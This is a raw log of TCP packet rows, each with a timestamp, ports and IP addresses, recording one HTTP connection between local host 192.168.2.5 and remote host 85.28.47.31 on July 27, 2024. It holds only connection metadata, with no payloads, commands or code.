Jul 27, 2024 12:01:17.187927961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.187944889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.187999010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.188010931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.188045025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.188076019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.188122988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.188141108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.188196898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.188225031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.188275099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.285621881 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.285717964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.285761118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.285820007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.285834074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.285871029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.285974979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.286025047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.286046028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.286117077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.295389891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.295466900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.295480967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.295525074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.295552015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.295571089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.295628071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.295698881 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.295712948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.295757055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.295785904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.295799971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.295825958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.295887947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.295919895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.295938015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.295969963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.296034098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.296060085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.296077013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.296113014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.296160936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.296180964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.296209097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.296253920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.296302080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.296319008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.296366930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.296384096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.296446085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.296464920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.296519041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.296576977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.296633959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.296664000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.296721935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.296746969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.296794891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.296813011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.296837091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.296875954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.296930075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.296942949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.296976089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.297004938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.297054052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.297107935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.297121048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.297152042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.297180891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.297234058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.297247887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.297283888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.297323942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.297374964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.297388077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.297427893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.297451973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.297498941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.297519922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.297534943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.297575951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.297637939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.297662973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.297684908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.297703981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.297733068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.297780037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.297827959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.297844887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.297893047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.297939062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.297960997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.297991037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.298021078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.298065901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.298091888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.298110008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.298146009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.298191071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.298209906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.298237085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.298269987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.298316956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.298333883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.298379898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.298408031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.298422098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.298449039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.298495054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.298542023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.298542023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.298566103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.298613071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.298641920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.298655987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.298681974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.298727989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.298780918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.298794985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.298823118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.298851967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.298894882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.298916101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.298948050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.298976898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.299029112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.299041986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.299079895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.299103975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.299158096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.299171925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.299213886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.299266100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.299278975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.299309969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.299339056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.299392939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.299407959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.299439907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.299468040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.299524069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.299536943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.299581051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.299633026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.368354082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.368462086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.368556976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.368582964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.368645906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.368675947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.368724108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.368746996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.368784904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.368840933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.368854046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.368889093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.368915081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.368968010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.368983030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.369016886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.369044065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.369095087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.370748043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.370790005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.370809078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.370837927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.395309925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.395380974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.395411015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.395440102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.395474911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.395543098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.395598888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.395615101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.395669937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.395697117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.395750999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.395776987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.395832062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.395844936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.395876884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.395924091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.395977020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.395992041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.396028996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.396054029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.396107912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.396121025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.396153927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.396198988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.396253109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.396265984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.396301031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.396341085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.396394014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.396406889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.396445036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.396516085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.396569014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.396600962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.396655083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.396670103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.396706104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.396732092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.396778107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.396797895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.396831036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.396873951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.396919966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.396939993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.396995068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.397007942 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.397042990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.397068977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.397123098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.397136927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.397175074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.397198915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.397239923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.397269011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.397283077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.397309065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.397360086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.397372961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.397408962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.397434950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.397486925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.397500038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.397531986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.397561073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.397613049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.397639036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.397687912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.397703886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.397757053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.397769928 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.397809029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.397828102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.397876024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.397891045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.397937059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.397953987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.398008108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.398034096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.398087025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.398101091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.398130894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.398158073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.398205042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.398221970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.398274899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.398288012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.398327112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.398351908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.398406982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.398420095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.398458958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.398482084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.398529053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.398546934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.398577929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.398607969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.398662090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.398674965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.398713112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.398731947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.398777962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.398794889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.398835897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.398855925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.398893118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.398916960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.398969889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.398984909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.399020910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.399044991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.399096966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.399110079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.399152040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.399172068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.399219990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.399235010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.399287939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.399301052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.399337053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.399384022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.399439096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.399451971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.399486065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.399513006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.399559021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.399578094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.399620056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.399651051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.399667978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.399703026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.399748087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.399800062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.399812937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.399844885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.399873972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.399921894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.399936914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.399985075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.400000095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.400052071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.400079012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.400131941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.400145054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.400182962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.400207043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.400254965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.400274992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.400301933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.400331020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.400378942 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.400394917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.400440931 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.400459051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.400507927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.400543928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.400598049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.400610924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.400655031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.400707006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.400723934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.400778055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.400790930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.400827885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.400851965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.400898933 CEST	49704	80	192.168.2.5	85.28.47.31
